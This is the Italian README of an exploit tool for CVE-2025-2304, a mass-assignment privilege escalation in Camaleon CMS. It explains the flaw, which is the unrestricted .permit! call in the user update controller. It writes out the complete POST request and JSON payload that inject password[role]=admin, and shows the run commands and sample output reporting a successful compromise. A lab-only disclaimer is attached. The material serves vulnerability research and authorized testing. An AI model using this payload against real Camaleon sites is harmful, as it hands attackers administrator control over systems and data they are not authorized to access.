
Script Python per sfruttare CVE-2025-2304, un'escalation di privilegi tramite mass assignment in Camaleon CMS. Automatizza l'analisi del token CSRF e l'iniezione del parametro ruolo per elevare gli utenti autenticati ad amministratori in ambienti di laboratorio controllati.
CVE-2025-2304 è una vulnerabilità di Mass Assignment in Camaleon CMS (versioni < 2.9.1) che permette a un utente autenticato di elevare i propri privilegi ad amministratore manipolando il parametro role nelle richieste di cambio password.
Camaleon CMS utilizza Ruby on Rails e nella versione 2.9.0 presenta una vulnerabilità di Mass Assignment nel controller UsersController#updated_ajax. Il controller usa .permit! senza restrizioni, consentendo a qualsiasi parametro inviato nella richiesta di essere assegnato direttamente al modello utente.
POST /admin/users/{user_id}/updated_ajaxpassword[role] inviato all'interno del namespace passwordparams.require(:password) e poi applica .permit!, che non filtra alcun parametro"admin" nel campo role dell'utentePOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
Il parametro password[role] viene elaborato da User.update(permitted_params) e assegnato direttamente al record utente a causa di .permit!, elevando i privilegi da user a admin.
# Python 3.6+
python3 --version
# Librerie richieste
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
Lo script chiederà interattivamente:
http(s)://dominio:porta_cms_session (ottenuto dopo il login)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] URL base del server (es: http://localhost:3000) : http://192.168.1.100:8080
[?] ID utente dell'utente attaccante (es: 3) : 5
[?] Cookie di sessione (_cms_session=VALUE) : _cms_session=abc123def456
Quando ho trovato questa vulnerabilità, il mio primo istinto è stato testarla manualmente tramite Burp Suite — e ha funzionato. Ma volevo andare un passo oltre e trasformare quel processo manuale in qualcosa di ripetibile e portatile, così ho scritto questo script. Oltre a sfruttare il bug, crearlo mi ha dato l'opportunità di affrontare alcune cose che trovo genuinamente interessanti:
Non sto cercando di sostituire Burp o Caido. Quegli strumenti sono insostituibili per il test interattivo. Questo è solo ciò che succede quando preferisco scrivere uno script piuttosto che ripetermi.
QUESTO SCRIPT È ESCLUSIVAMENTE PER:
- Ambienti di laboratorio controllati
- Sistemi di cui si è proprietari o per i quali si ha esplicita autorizzazione ai test
- Scopi educativi e ricerca autorizzata
STRETTAMENTE VIETATO:
- Utilizzo su sistemi senza autorizzazione
- Applicazione con intenti malevoli
- Violazione delle leggi sulla protezione dei dati
- Compromissione della sicurezza di terze parti
L'autore non è responsabile per l'uso improprio di questo strumento.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORIO / AMBIENTE CONTROLLATO] ║
╚══════════════════════════════════════════════════════════════╝
[✔] Token CSRF ottenuto: abc123def456...
[✔] EXPLOIT RIUSCITO: Il server ha confermato l'aggiornamento.
[✔] Stato : COMPROMESSO
L'utente 5 ora dovrebbe avere il ruolo 'admin'.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
Il codice è strutturato in modo modulare per facilitare:
.permit!Sono benvenuti contributi che:
Ricorda: Questo progetto ha uno scopo esclusivamente educativo e di ricerca autorizzata.
Ultimo aggiornamento: Aprile 2025 | Di Security Analyst (Ambiente di Laboratorio)